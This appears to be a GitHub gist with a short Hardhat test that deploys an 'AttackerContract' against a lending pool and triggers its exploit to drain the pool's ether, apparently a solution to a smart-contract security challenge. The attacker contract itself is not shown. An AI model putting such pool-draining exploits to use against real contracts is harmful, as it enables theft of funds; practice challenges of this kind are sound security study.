Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Created January 26, 2023 15:56
Show Gist options
  • Save az0mb13/e7c44cd3c5f4439b179655f64ee305ef to your computer and use it in GitHub Desktop.
Save az0mb13/e7c44cd3c5f4439b179655f64ee305ef to your computer and use it in GitHub Desktop.
it('Exploit', async function () {
const AttackerContract = await ethers.getContractFactory("AttackerContract", attacker);
this.exploit = await AttackerContract.deploy(await this.pool.address);
this.exploit.connect(attacker).exploit(ETHER_IN_POOL);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment